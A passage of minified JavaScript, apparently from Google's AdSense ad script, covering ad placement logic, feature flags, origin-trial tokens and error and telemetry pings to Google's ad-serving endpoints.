0===a.gb?void 0:a.gb,d=void 0===a.Ra?void 0:a.Ra;this.h=void 0===a.bb?void 0:a.bb;this.l=new wd(b||[]);this.j=d;this.i=c};function Md(a){var b=[],c=a.l;c&&c.h.length&&b.push({X:"a",ca:Nd(c)});null!=a.h&&b.push({X:"as",ca:a.h});null!=a.i&&b.push({X:"i",ca:String(a.i)});null!=a.j&&b.push({X:"rp",ca:String(a.j)});b.sort(function(d,e){return d.X.localeCompare(e.X)});b.unshift({X:"t",ca:"aa"});return b}function Nd(a){a=a.h.slice(0).map(Od);a=JSON.stringify(a);return Tc(a)}function Od(a){var b={};null!=A(a,7)&&(b.q=A(a,7));null!=A(a,2)&&(b.o=A(a,2));null!=A(a,5)&&(b.p=A(a,5));return b};function Pd(a){J.call(this,a)}v(Pd,J);Pd.prototype.setLocation=function(a){return B(this,1,a)};function Qd(a,b){this.Ja=a;this.Qa=b}function Rd(a){var b=[].slice.call(arguments).filter(uc(function(e){return null===e}));if(!b.length)return null;var c=[],d={};b.forEach(function(e){c=c.concat(e.Ja||[]);d=r(Object,"assign").call(Object,d,e.Qa)});return new Qd(c,d)} function Sd(a){switch(a){case 1:return new Qd(null,{google_ad_semantic_area:"mc"});case 2:return new Qd(null,{google_ad_semantic_area:"h"});case 3:return new Qd(null,{google_ad_semantic_area:"f"});case 4:return new Qd(null,{google_ad_semantic_area:"s"});default:return null}} function Td(a){if(null==a)a=null;else{var b=Md(a);a=[];b=u(b);for(var c=b.next();!c.done;c=b.next()){c=c.value;var d=String(c.ca);a.push(c.X+"."+(20>=d.length?d:d.slice(0,19)+"_"))}a=new Qd(null,{google_placement_id:a.join("~")})}return a};var Ud={},Vd=new Qd(["google-auto-placed"],(Ud.google_reactive_ad_format=40,Ud.google_tag_origin="qs",Ud));function Wd(a){J.call(this,a)}v(Wd,J);function Xd(a){J.call(this,a)}v(Xd,J);Xd.prototype.getName=function(){return A(this,4)};function Yd(a){J.call(this,a)}v(Yd,J);function Zd(a){J.call(this,a)}v(Zd,J);function $d(a){J.call(this,a)}v($d,J);var ae=[1,2,3];function be(a){J.call(this,a)}v(be,J);function ce(a){J.call(this,a,-1,de)}v(ce,J);var de=[6,7,9,10,11];function ee(a){J.call(this,a,-1,fe)}v(ee,J);function ge(a){J.call(this,a)}v(ge,J);function he(a){J.call(this,a)}v(he,J);var fe=[1],ie=[1,2];function je(a){J.call(this,a,-1,ke)}v(je,J);function le(a){J.call(this,a)}v(le,J);function me(a){J.call(this,a,-1,ne)}v(me,J);function oe(a){J.call(this,a)}v(oe,J);function pe(a){J.call(this,a)}v(pe,J);function qe(a){J.call(this,a)}v(qe,J);function re(a){J.call(this,a)}v(re,J);var ke=[1,2,5,7],ne=[2,5,6,11];function se(a){J.call(this,a)}v(se,J);function te(a){if(1!=a.nodeType)var b=!1;else if(b="INS"==a.tagName)a:{b=["adsbygoogle-placeholder"];a=a.className?a.className.split(/\s+/):[];for(var c={},d=0;d<a.length;++d)c[a[d]]=!0;for(d=0;d<b.length;++d)if(!c[b[d]]){b=!1;break a}b=!0}return b};function ue(a,b,c){switch(c){case 0:b.parentNode&&b.parentNode.insertBefore(a,b);break;case 3:if(c=b.parentNode){var d=b.nextSibling;if(d&&d.parentNode!=c)for(;d&&8==d.nodeType;)d=d.nextSibling;c.insertBefore(a,d)}break;case 1:b.insertBefore(a,b.firstChild);break;case 2:b.appendChild(a)}te(b)&&(b.setAttribute("data-init-display",b.style.display),b.style.display="block")};function M(a,b){this.h=a;this.defaultValue=void 0===b?!1:b}function N(a,b){this.h=a;this.defaultValue=void 0===b?0:b}function ve(a,b){b=void 0===b?[]:b;this.h=a;this.defaultValue=b};var we=new M(1084),xe=new M(1082,!0),ye=new N(62,.001),ze=new N(1130,100),Ae=new function(a,b){this.h=a;this.defaultValue=void 0===b?"":b}(14),Be=new N(1114,1),Ce=new N(1110),De=new N(1111),Ee=new N(1112),Fe=new N(1113),Ge=new N(1104),He=new N(1108),Ie=new N(1106),Je=new N(1107),Ke=new N(1105),Le=new N(1115,1),Me=new M(1121),Ne=new M(1144),Oe=new M(1143),Pe=new M(316),Qe=new M(313),Re=new M(369),Se=new M(1093),Te=new N(1098),Ue=new M(1129),Ve=new M(1128),We=new M(1026),Xe=new M(1090),Ye=new M(1053, !0),Ze=new M(1162),$e=new M(1120),af=new M(1100,!0),bf=new N(1046),cf=new M(1102,!0),df=new M(218),ef=new M(217),ff=new M(227),gf=new M(208),hf=new M(282),jf=new M(1086),kf=new N(1079,5),lf=new M(1141),mf=new ve(1939),nf=new ve(1934,["A8FHS1NmdCwGqD9DwOicnHHY+y27kdWfxKa0YHSGDfv0CSpDKRHTQdQmZVPDUdaFWUsxdgVxlwAd6o+dhJykPA0AAACWeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9", "A8zdXi6dr1hwXEUjQrYiyYQGlU3557y5QWDnN0Lwgj9ePt66XMEvNkVWOEOWPd7TP9sBQ25X0Q15Lr1Nn4oGFQkAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9","A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"]), of=new M(203),pf=new M(434462125),qf=new M(84),rf=new M(1928),sf=new M(1941),tf=new M(370946349),uf=new M(392736476,!0),vf=new N(406149835),wf=new ve(1932,["AxujKG9INjsZ8/gUq8+dTruNvk7RjZQ1oFhhgQbcTJKDnZfbzSTE81wvC2Hzaf3TW4avA76LTZEMdiedF1vIbA4AAABueyJvcmlnaW4iOiJodHRwczovL2ltYXNkay5nb29nbGVhcGlzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=","Azuce85ORtSnWe1MZDTv68qpaW3iHyfL9YbLRy0cwcCZwVnePnOmkUJlG8HGikmOwhZU22dElCcfrfX2HhrBPAkAAAB7eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9", "A16nvcdeoOAqrJcmjLRpl1I6f3McDD8EfofAYTt/P/H4/AWwB99nxiPp6kA0fXoiZav908Z8etuL16laFPUdfQsAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9","AxBHdr0J44vFBQtZUqX9sjiqf5yWZ/OcHRcRMN3H9TH+t90V/j3ENW6C8+igBZFXMJ7G3Pr8Dd13632aLng42wgAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9", "A88BWHFjcawUfKU3lIejLoryXoyjooBXLgWmGh+hNcqMK44cugvsI5YZbNarYvi3roc1fYbHA1AVbhAtuHZflgEAAAB2eyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IlRydXN0VG9rZW5zIiwiZXhwaXJ5IjoxNjUyNzc0NDAwLCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="]),xf=new N(1935);function O(a){var b="sa";if(a.sa&&a.hasOwnProperty(b))return a.sa;b=new a;return a.sa=b};function yf(){var a={};this.i=function(b,c){return null!=a[b]?a[b]:c};this.j=function(b,c){return null!=a[b]?a[b]:c};this.l=function(b,c){return null!=a[b]?a[b]:c};this.h=function(b,c){return null!=a[b]?a[b]:c};this.m=function(){}}function P(a){return O(yf).i(a.h,a.defaultValue)}function Q(a){return O(yf).j(a.h,a.defaultValue)}function zf(){return O(yf).l(Ae.h,Ae.defaultValue)};function Af(a,b,c){function d(f){f=Bf(f);return null==f?!1:c>f}function e(f){f=Bf(f);return null==f?!1:c<f}switch(b){case 0:return{init:Cf(a.previousSibling,e),ja:function(f){return Cf(f.previousSibling,e)},na:0};case 2:return{init:Cf(a.lastChild,e),ja:function(f){return Cf(f.previousSibling,e)},na:0};case 3:return{init:Cf(a.nextSibling,d),ja:function(f){return Cf(f.nextSibling,d)},na:3};case 1:return{init:Cf(a.firstChild,d),ja:function(f){return Cf(f.nextSibling,d)},na:3}}throw Error("Un-handled RelativePosition: "+ b);}function Bf(a){return a.hasOwnProperty("google-ama-order-assurance")?a["google-ama-order-assurance"]:null}function Cf(a,b){return a&&b(a)?a:null};var Df={rectangle:1,horizontal:2,vertical:4};function Ef(a,b){a.google_image_requests||(a.google_image_requests=[]);var c=Mc("IMG",a.document);c.src=b;a.google_image_requests.push(c)}function Ff(a){var b="https://pagead2.googlesyndication.com/pagead/gen_204?id=dtt_err";Sc(a,function(c,d){c&&(b+="&"+d+"="+encodeURIComponent(c))});Gf(b)}function Gf(a){var b=window;b.fetch?b.fetch(a,{keepalive:!0,credentials:"include",redirect:"follow",method:"get",mode:"no-cors"}):Ef(b,a)};function Hf(){this.j="&";this.i={};this.l=0;this.h=[]}function If(a,b){var c={};c[a]=b;return[c]}function Jf(a,b,c,d,e){var f=[];Sc(a,function(g,h){(g=Kf(g,b,c,d,e))&&f.push(h+"="+g)});return f.join(b)} function Kf(a,b,c,d,e){if(null==a)return"";b=b||"&";c=c||",$";"string"==typeof c&&(c=c.split(""));if(a instanceof Array){if(d=d||0,d<c.length){for(var f=[],g=0;g<a.length;g++)f.push(Kf(a[g],b,c,d+1,e));return f.join(c[d])}}else if("object"==typeof a)return e=e||0,2>e?encodeURIComponent(Jf(a,b,c,d,e+1)):"...";return encodeURIComponent(String(a))} function Lf(a,b){var c="https://pagead2.googlesyndication.com"+b,d=Mf(a)-b.length;if(0>d)return"";a.h.sort(function(m,q){return m-q});b=null;for(var e="",f=0;f<a.h.length;f++)for(var g=a.h[f],h=a.i[g],k=0;k<h.length;k++){if(!d){b=null==b?g:b;break}var l=Jf(h[k],a.j,",$");if(l){l=e+l;if(d>=l.length){d-=l.length;c+=l;e=a.j;break}b=null==b?g:b}}a="";null!=b&&(a=e+"trn="+b);return c+a}function Mf(a){var b=1,c;for(c in a.i)b=c.length>b?c.length:b;return 3997-b-a.j.length-1};function Nf(){this.h=Math.random()}function Of(){var a=Pf,b=w.google_srt;0<=b&&1>=b&&(a.h=b)}function Qf(a,b,c,d,e){if((d?a.h:Math.random())<(e||.01))try{if(c instanceof Hf)var f=c;else f=new Hf,Sc(c,function(h,k){var l=f,m=l.l++;h=If(k,h);l.h.push(m);l.i[m]=h});var g=Lf(f,"/pagead/gen_204?id="+b+"&");g&&Ef(w,g)}catch(h){}};var Rf={overlays:1,interstitials:2,vignettes:2,inserts:3,immersives:4,list_view:5};function Sf(){this.wasPlaTagProcessed=!1;this.wasReactiveAdConfigReceived={};this.adCount={};this.wasReactiveAdVisible={};this.stateForType={};this.reactiveTypeEnabledInAsfe={};this.wasReactiveTagRequestSent=!1;this.reactiveTypeDisabledByPublisher={};this.tagSpecificState={};this.messageValidationEnabled=!1;this.floatingAdsStacking=new Tf;this.sideRailProcessedFixedElements=new p.Set;this.sideRailAvailableSpace=new p.Map} function Uf(a){a.google_reactive_ads_global_state?(null==a.google_reactive_ads_global_state.sideRailProcessedFixedElements&&(a.google_reactive_ads_global_state.sideRailProcessedFixedElements=new p.Set),null==a.google_reactive_ads_global_state.sideRailAvailableSpace&&(a.google_reactive_ads_global_state.sideRailAvailableSpace=new p.Map)):a.google_reactive_ads_global_state=new Sf;return a.google_reactive_ads_global_state} function Tf(){this.maxZIndexRestrictions={};this.nextRestrictionId=0;this.maxZIndexListeners=[]};function Vf(a){a=a.document;var b={};a&&(b="CSS1Compat"==a.compatMode?a.documentElement:a.body);return b||{}}function Wf(a){return Vf(a).clientWidth};function Xf(a){return null!==a&&void 0!==a}function Yf(a,b){if(!b(a))throw Error(String(a));};function Zf(a){return"string"===typeof a}function $f(a){return void 0===a};function ag(a){J.call(this,a,-1,bg)}v(ag,J);var bg=[2,8],cg=[3,4,5],dg=[6,7];var eg;eg={Kb:0,Ya:3,Za:4,$a:5};var fg=eg.Ya,gg=eg.Za,hg=eg.$a;function ig(a){return null!=a?!a:a}function jg(a,b){for(var c=!1,d=0;d<a.length;d++){var e=a[d]();if(e===b)return e;null==e&&(c=!0)}if(!c)return!b}function kg(a,b){var c=H(a,ag,2);if(!c.length)return lg(a,b);a=C(a,1,0);if(1===a)return ig(kg(c[0],b));c=Ta(c,function(d){return function(){return kg(d,b)}});switch(a){case 2:return jg(c,!1);case 3:return jg(c,!0)}} function lg(a,b){var c=Cb(a,cg);a:{switch(c){case fg:var d=Hb(a,3,cg);break a;case gg:d=Hb(a,4,cg);break a;case hg:d=Hb(a,5,cg);break a}d=void 0}if(d&&(b=(b=b[c])&&b[d])){try{var e=b.apply(null,ka(wb(a,8)))}catch(f){return}b=C(a,1,0);if(4===b)return!!e;d=null!=e;if(5===b)return d;if(12===b)a=I(a,Db(a,dg,7));else a:{switch(c){case gg:a=yb(a,Db(a,dg,6));break a;case hg:a=I(a,Db(a,dg,7));break a}a=void 0}if(null!=a){if(6===b)return e===a;if(9===b)return null!=e&&0===Ka(String(e),a);if(d)switch(b){case 7:return e< a;case 8:return e>a;case 12:return Zf(a)&&Zf(e)&&(new RegExp(a)).test(e);case 10:return null!=e&&-1===Ka(String(e),a);case 11:return null!=e&&1===Ka(String(e),a)}}}}function mg(a,b){return!a||!(!b||!kg(a,b))};function ng(a){J.call(this,a,-1,og)}v(ng,J);var og=[4];function pg(a){J.call(this,a)}v(pg,J);function qg(a){J.call(this,a,-1,rg)}v(qg,J);var rg=[5],sg=[1,2,3,6,7];function tg(a){a.Sa.apply(a,ka(ta.apply(1,arguments).map(function(b){return{Xa:4,message:b}})))}function ug(a){a.Sa.apply(a,ka(ta.apply(1,arguments).map(function(b){return{Xa:7,message:b}})))};function vg(a){return function(){var b=ta.apply(0,arguments);try{return a.apply(this,b)}catch(c){}}}var wg=vg(function(a){var b=[],c={};a=u(a);for(var d=a.next();!d.done;c={ea:c.ea},d=a.next())c.ea=d.value,vg(function(e){return function(){b.push('[{"'+e.ea.Xa+'":'+Lb(e.ea.message)+"}]")}}(c))();return"[["+b.join(",")+"]]"});function xg(a,b){if(p.globalThis.fetch)p.globalThis.fetch(a,{method:"POST",body:b,keepalive:65536>b.length,credentials:"omit",mode:"no-cors",redirect:"follow"});else{var c=new XMLHttpRequest;c.open("POST",a,!0);c.send(b)}};function yg(a){var b=void 0===b?xg:b;this.l=void 0===a?1E3:a;this.j=b;this.i=[];this.h=null}yg.prototype.Sa=function(){var a=ta.apply(0,arguments),b=this;vg(function(){b.i.push.apply(b.i,ka(a));var c=vg(function(){var d=wg(b.i);b.j("https://pagead2.googlesyndication.com/pagead/ping?e=1",d);b.i=[];b.h=null});100<=b.i.length?(null!==b.h&&clearTimeout(b.h),b.h=setTimeout(c,0)):null===b.h&&(b.h=setTimeout(c,b.l))})()};function zg(a){J.call(this,a,-1,Ag)}v(zg,J);function Bg(a,b){return Eb(a,1,b)}function Cg(a,b){return Gb(a,2,b)}function Dg(a,b){return zb(a,4,b)}function Eg(a,b){return Gb(a,5,b)}function Fg(a,b){return Ab(a,6,b)}function Gg(a){J.call(this,a)}v(Gg,J);Gg.prototype.V=function(){return C(this,1,0)};function Hg(a,b){return Ab(a,1,b)}function Ig(a,b){return Ab(a,2,b)}function Jg(a){J.call(this,a)}v(Jg,J);var Ag=[2,4,5],Kg=[1,2];function Lg(a){J.call(this,a,-1,Mg)}v(Lg,J);function Ng(a){J.call(this,a,-1,Og)}v(Ng,J);var Mg=[2,3],Og=[5],Pg=[1,2,3,4];function Qg(a){J.call(this,a)}v(Qg,J);Qg.prototype.getTagSessionCorrelator=function(){return C(this,2,0)};function Rg(a){var b=new Qg;return Fb(b,4,Sg,a)}var Sg=[4,5,7];function Tg(a,b,c){var d=void 0===d?new yg(b):d;this.i=a;this.m=c;this.j=d;this.h=[];this.l=0<this.i&&Rc()<1/this.i}function Yg(a,b,c,d,e,f){var g=Ig(Hg(new Gg,b),c);b=Fg(Cg(Bg(Eg(Dg(new zg,d),e),g),a.h),f);b=Rg(b);a.l&&tg(a.j,Zg(a,b));if(1===f||3===f||4===f&&!a.h.some(function(h){return h.V()===g.V()&&C(h,2,0)===c}))a.h.push(g),100<a.h.length&&a.h.shift()}function $g(a,b,c,d){if(a.m){var e=new Lg;b=Gb(e,2,b);c=Gb(b,3,c);d&&Ab(c,1,d);d=new Qg;d=Fb(d,7,Sg,c);a.l&&tg(a.j,Zg(a,d))}} function Zg(a,b){b=Ab(b,1,Date.now());var c=fd(window);b=Ab(b,2,c);return Ab(b,6,a.i)};function ah(){var a={};this.h=(a[fg]={},a[gg]={},a[hg]={},a)};var bh=/^true$/.test("false");function ch(a,b){switch(b){case 1:return Hb(a,1,sg);case 2:return Hb(a,2,sg);case 3:return Hb(a,3,sg);case 6:return Hb(a,6,sg);default:return null}}function dh(a,b){if(!a)return null;switch(b){case 1:return D(a,1);case 7:return I(a,3);case 2:return yb(a,2);case 3:return I(a,3);case 6:return wb(a,4);default:return null}}var eh=vc(function(){if(!bh)return{};try{var a=window.sessionStorage&&window.sessionStorage.getItem("GGDFSSK");if(a)return JSON.parse(a)}catch(b){}return{}}); function fh(a,b,c,d){var e=d=void 0===d?0:d,f,g;O(gh).j[e]=null!=(g=null==(f=O(gh).j[e])?void 0:f.add(b))?g:(new p.Set).add(b);e=eh();if(null!=e[b])return e[b];b=hh(d)[b];if(!b)return c;b=new qg(b);b=ih(b);a=dh(b,a);return null!=a?a:c}function ih(a){var b=O(ah).h;if(b){var c=Wa(H(a,pg,5),function(d){return mg(G(d,ag,1),b)});if(c)return G(c,ng,2)}return G(a,ng,4)}function gh(){this.i={};this.l=[];this.j={};this.h=new p.Map}function jh(a,b,c){return!!fh(1,a,void 0===b?!1:b,c)} function kh(a,b,c){b=void 0===b?0:b;a=Number(fh(2,a,b,c));return isNaN(a)?b:a}function lh(a,b,c){return fh(3,a,void 0===b?"":b,c)}function mh(a,b,c){b=void 0===b?[]:b;return fh(6,a,b,c)}function hh(a){return O(gh).i[a]||(O(gh).i[a]={})}function nh(a,b){var c=hh(b);Sc(a,function(d,e){return c[e]=d})} function oh(a,b,c,d,e){e=void 0===e?!1:e;var f=[],g=[];Ra(b,function(h){var k=hh(h);Ra(a,function(l){var m=Cb(l,sg),q=ch(l,m);if(q){var t,y,F;var z=null!=(F=null==(t=O(gh).h.get(h))?void 0:null==(y=t.get(q))?void 0:y.slice(0))?F:[];a:{t=new Ng;switch(m){case 1:Bb(t,1,Pg,q);break;case 2:Bb(t,2,Pg,q);break;case 3:Bb(t,3,Pg,q);break;case 6:Bb(t,4,Pg,q);break;default:m=void 0;break a}zb(t,5,z);m=t}if(z=m){var E;z=!(null==(E=O(gh).j[h])||!E.has(q))}z&&f.push(m);if(E=m){var S;E=!(null==(S=O(gh).h.get(h))|| !S.has(q))}E&&g.push(m);e||(S=O(gh),S.h.has(h)||S.h.set(h,new p.Map),S.h.get(h).has(q)||S.h.get(h).set(q,[]),d&&S.h.get(h).get(q).push(d));k[q]=l.toJSON()}})});(f.length||g.length)&&$g(c,f,g,null!=d?d:void 0)}function ph(a,b){var c=hh(b);Ra(a,function(d){var e=new qg(d),f=Cb(e,sg);(e=ch(e,f))&&(c[e]||(c[e]=d))})}function qh(){return Ta(r(Object,"keys").call(Object,O(gh).i),function(a){return Number(a)})}function rh(a){Xa(O(gh).l,a)||nh(hh(4),a)};function sh(a){this.methodName=a}var th=new sh(1),uh=new sh(16),vh=new sh(15),wh=new sh(2),xh=new sh(3),yh=new sh(4),zh=new sh(5),Ah=new sh(6),Bh=new sh(7),Ch=new sh(8),Dh=new sh(9),Eh=new sh(10),Fh=new sh(11),Gh=new sh(12),Hh=new sh(13),Ih=new sh(14);function Jh(a,b,c){c.hasOwnProperty(a.methodName)||Object.defineProperty(c,String(a.methodName),{value:b})}function Kh(a,b,c){return b[a.methodName]||c||function(){}} function Lh(a){Jh(zh,jh,a);Jh(Ah,kh,a);Jh(Bh,lh,a);Jh(Ch,mh,a);Jh(Hh,ph,a);Jh(vh,rh,a)}function Mh(a){Jh(yh,function(b){O(ah).h=b},a);Jh(Dh,function(b,c){var d=O(ah);d.h[fg][b]||(d.h[fg][b]=c)},a);Jh(Eh,function(b,c){var d=O(ah);d.h[gg][b]||(d.h[gg][b]=c)},a);Jh(Fh,function(b,c){var d=O(ah);d.h[hg][b]||(d.h[hg][b]=c)},a);Jh(Ih,function(b){for(var c=O(ah),d=u([fg,gg,hg]),e=d.next();!e.done;e=d.next())e=e.value,r(Object,"assign").call(Object,c.h[e],b[e])},a)} function Nh(a){a.hasOwnProperty("init-done")||Object.defineProperty(a,"init-done",{value:!0})};function Oh(){this.l=function(){};this.i=function(){};this.j=function(){};this.h=function(){return[]}}function Ph(a,b,c){a.l=Kh(th,b,function(){});a.j=function(d){Kh(wh,b,function(){return[]})(d,c)};a.h=function(){return Kh(xh,b,function(){return[]})(c)};a.i=function(d){Kh(uh,b,function(){})(d,c)}};function Qh(a,b){var c=void 0===c?{}:c;this.error=a;this.context=b.context;this.msg=b.message||"";this.id=b.id||"jserror";this.meta=c}function Rh(a){return!!(a.error&&a.meta&&a.id)};var Sh=RegExp("^https?://(\\w|-)+\\.cdn\\.ampproject\\.(net|org)(\\?|/|$)");function Th(a,b){this.h=a;this.i=b}function Uh(a,b,c){this.url=a;this.u=b;this.La=!!c;this.depth=null};var Vh=null;function Wh(){if(null===Vh){Vh="";try{var a="";try{a=w.top.location.hash}catch(c){a=w.location.hash}if(a){var b=a.match(/\bdeid=([\d,]+)/);Vh=b?b[1]:""}}catch(c){}}return Vh};function Xh(){var a=void 0===a?w:a;return(a=a.performance)&&a.now&&a.timing?Math.floor(a.now()+a.timing.navigationStart):Date.now()}function Yh(){var a=void 0===a?w:a;return(a=a.performance)&&a.now?a.now():null};function Zh(a,b){var c=Yh()||Xh();this.label=a;this.type=b;this.value=c;this.duration=0;this.uniqueId=Math.random();this.slotId=void 0};var $h=w.performance,ai=!!($h&&$h.mark&&$h.measure&&$h.clearMarks),bi=vc(function(){var a;if(a=ai)a=Wh(),a=!!a.indexOf&&0<=a.indexOf("1337");return a});function ci(){this.i=[];this.j=w||w;var a=null;w&&(w.google_js_reporting_queue=w.google_js_reporting_queue||[],this.i=w.google_js_reporting_queue,a=w.google_measure_js_timing);this.h=bi()||(null!=a?a:1>Math.random())} function di(a){a&&$h&&bi()&&($h.clearMarks("goog_"+a.label+"_"+a.uniqueId+"_start"),$h.clearMarks("goog_"+a.label+"_"+a.uniqueId+"_end"))}ci.prototype.start=function(a,b){if(!this.h)return null;a=new Zh(a,b);b="goog_"+a.label+"_"+a.uniqueId+"_start";$h&&bi()&&$h.mark(b);return a};ci.prototype.end=function(a){if(this.h&&"number"===typeof a.value){a.duration=(Yh()||Xh())-a.value;var b="goog_"+a.label+"_"+a.uniqueId+"_end";$h&&bi()&&$h.mark(b);!this.h||2048<this.i.length||this.i.push(a)}};function ei(){var a=fi;this.m=Pf;this.i=null;this.l=this.I;this.h=void 0===a?null:a;this.j=!1}n=ei.prototype;n.Ua=function(a){this.l=a};n.Ta=function(a){this.i=a};n.Va=function(a){this.j=a};n.oa=function(a,b,c){try{if(this.h&&this.h.h){var d=this.h.start(a.toString(),3);var e=b();this.h.end(d)}else e=b()}catch(h){b=!0;try{di(d),b=this.l(a,new Qh(h,{message:gi(h)}),void 0,c)}catch(k){this.I(217,k)}if(b){var f,g;null==(f=window.console)||null==(g=f.error)||g.call(f,h)}else throw h;}return e}; n.Oa=function(a,b){var c=this;return function(){var d=ta.apply(0,arguments);return c.oa(a,function(){return b.apply(void 0,d)})}}; n.I=function(a,b,c,d,e){e=e||"jserror";try{var f=new Hf;f.h.push(1);f.i[1]=If("context",a);Rh(b)||(b=new Qh(b,{message:gi(b)}));if(b.msg){var g=b.msg.substring(0,512);f.h.push(2);f.i[2]=If("msg",g)}var h=b.meta||{};if(this.i)try{this.i(h)}catch(Jc){}if(d)try{d(h)}catch(Jc){}b=[h];f.h.push(3);f.i[3]=b;d=w;b=[];g=null;do{var k=d;if(Hc(k)){var l=k.location.href;g=k.document&&k.document.referrer||null}else l=g,g=null;b.push(new Uh(l||"",k));try{d=k.parent}catch(Jc){d=null}}while(d&&k!=d);l=0;for(var m= b.length-1;l<=m;++l)b[l].depth=m-l;k=w;if(k.location&&k.location.ancestorOrigins&&k.location.ancestorOrigins.length==b.length-1)for(m=1;m<b.length;++m){var q=b[m];q.url||(q.url=k.location.ancestorOrigins[m-1]||"",q.La=!0)}var t=new Uh(w.location.href,w,!1);k=null;var y=b.length-1;for(q=y;0<=q;--q){var F=b[q];!k&&Sh.test(F.url)&&(k=F);if(F.url&&!F.La){t=F;break}}F=null;var z=b.length&&b[y].url;0!=t.depth&&z&&(F=b[y]);var E=new Th(t,F);if(E.i){var S=E.i.url||"";f.h.push(4);f.i[4]=If("top",S)}var rb= {url:E.h.url||""};if(E.h.url){var Kc=E.h.url.match(Ec),Ug=Kc[1],Vg=Kc[3],Wg=Kc[4];t="";Ug&&(t+=Ug+":");Vg&&(t+="//",t+=Vg,Wg&&(t+=":"+Wg));var Xg=t}else Xg="";rb=[rb,{url:Xg}];f.h.push(5);f.i[5]=rb;Qf(this.m,e,f,this.j,c)}catch(Jc){try{Qf(this.m,e,{context:"ecmserr",rctx:a,msg:gi(Jc),url:E&&E.h.url},this.j,c)}catch(zp){}}return!0};n.Pa=function(a,b){var c=this;b.catch(function(d){d=d?d:"unknown rejection";c.I(a,d instanceof Error?d:Error(d))})}; function gi(a){var b=a.toString();a.name&&-1==b.indexOf(a.name)&&(b+=": "+a.name);a.message&&-1==b.indexOf(a.message)&&(b+=": "+a.message);if(a.stack){a=a.stack;try{-1==a.indexOf(b)&&(a=b+"\n"+a);for(var c;a!=c;)c=a,a=a.replace(/((https?:\/..*\/)[^\/:]*:\d+(?:.|\n)*)\2/,"$1");b=a.replace(/\n */g,"\n")}catch(d){}}return b};var hi=ja(["https://www.googletagservices.com/console/host/host.js"]),ii=ja(["https://www.googletagservices.com/console/panel/index.html"]),ji=ja(["https://www.googletagservices.com/console/overlay/index.html"]);nd(hi);nd(ii);nd(ji);function ki(a,b){do{var c=Nc(a,b);if(c&&"fixed"==c.position)return!1}while(a=a.parentElement);return!0};function li(a,b){for(var c=["width","height"],d=0;d<c.length;d++){var e="google_ad_"+c[d];if(!b.hasOwnProperty(e)){var f=K(a[c[d]]);f=null===f?null:Math.round(f);null!=f&&(b[e]=f)}}}function mi(a,b){return!((Yc.test(b.google_ad_width)||Xc.test(a.style.width))&&(Yc.test(b.google_ad_height)||Xc.test(a.style.height)))}function ni(a,b){return(a=oi(a,b))?a.y:0} function oi(a,b){try{var c=b.document.documentElement.getBoundingClientRect(),d=a.getBoundingClientRect();return{x:d.left-c.left,y:d.top-c.top}}catch(e){return null}}function pi(a){var b=0,c;for(c in Df)-1!=a.indexOf(c)&&(b|=Df[c]);return b} function qi(a,b,c,d,e){if(a!==a.top)return Ic(a)?3:16;if(!(488>Wf(a)))return 4;if(!(a.innerHeight>=a.innerWidth))return 5;var f=Wf(a);if(!f||(f-c)/f>d)a=6;else{if(c="true"!=e.google_full_width_responsive)a:{c=Wf(a);for(b=b.parentElement;b;b=b.parentElement)if((d=Nc(b,a))&&(e=K(d.width))&&!(e>=c)&&"visible"!=d.overflow){c=!0;break a}c=!1}a=c?7:!0}return a} function ri(a,b,c,d){var e=qi(b,c,a,.3,d);!0!==e?a=e:"true"==d.google_full_width_responsive||ki(c,b)?(b=Wf(b),a=b-a,a=b&&0<=a?!0:b?-10>a?11:0>a?14:12:10):a=9;return a}function si(a,b,c){a=a.style;"rtl"==b?a.marginRight=c:a.marginLeft=c} function ti(a,b){if(3==b.nodeType)return/\S/.test(b.data);if(1==b.nodeType){if(/^(script|style)$/i.test(b.nodeName))return!1;try{var 